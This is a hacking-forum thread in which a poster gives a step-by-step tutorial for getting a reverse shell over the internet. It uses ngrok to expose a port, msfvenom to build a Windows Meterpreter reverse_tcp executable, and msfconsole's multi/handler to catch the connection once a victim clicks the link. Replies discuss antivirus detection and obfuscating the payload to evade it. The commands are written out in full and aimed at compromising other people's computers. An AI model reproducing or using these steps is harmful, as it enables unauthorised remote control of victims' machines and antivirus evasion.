

Forum:[Hack Forums](#)

Thread: [REVERSE SHELL OVER THE INTERNET](#)

ACER - October 23, 2023, 2:29 am

1. Download ngrok on kali linux there are tutorials on youtube then type in kali linux terminal `./ngrok tcp 1234`

2. then a page will show dont close this page now use msfvenom to create the payload using `msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST "the ngrok link" LPORT "the port in the ngrok link aka the numbers after : in the link" -f exe -o file.exe`

3. start msfconsole by typing `msfconsole` then type use `exploit/multi/handler` then set payload `windows /x64/meterpreter/reverse_tcp` then the set LHOST 0.0.0.0 then set LPORT 1234 or whatever port you set when starting ngrok the port numbers in line one

4. now wait once they click the link you will have control

this is a basic tutorial but still kinda cool

Joa999 - January 7, 2024, 9:24 pm

Cool! Will try it out. Thanks

DramaKing - January 8, 2024, 10:02 am

I hope people don't actually expect vanilla Meterpreter to do anything unless victims want to be hacked.

Also neglected to explain how to register Ngrok.

Joa999 - January 9, 2024, 6:15 pm

(Jan 8, 2024 11:02 AM)DramaKing Wrote: [\[CITE\]](#) I hope people don't actually expect vanilla Meterpreter to do anything unless victims want to be hacked.

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Why not, because AV detect's it? Sorry if this is a stupid question, i am a noob...

What would you do?

DramaKing - January 9, 2024, 6:40 pm

(Jan 9, 2024 07:15 PM)Joa999 Wrote: [\[CITE\]](#) Why not, because AV detect's it? Sorry if this is a stupid question, i am a noob...

What would you do?

Meterpreter is an old open-source RAT. Obfuscating it to bypass any AV is a trick.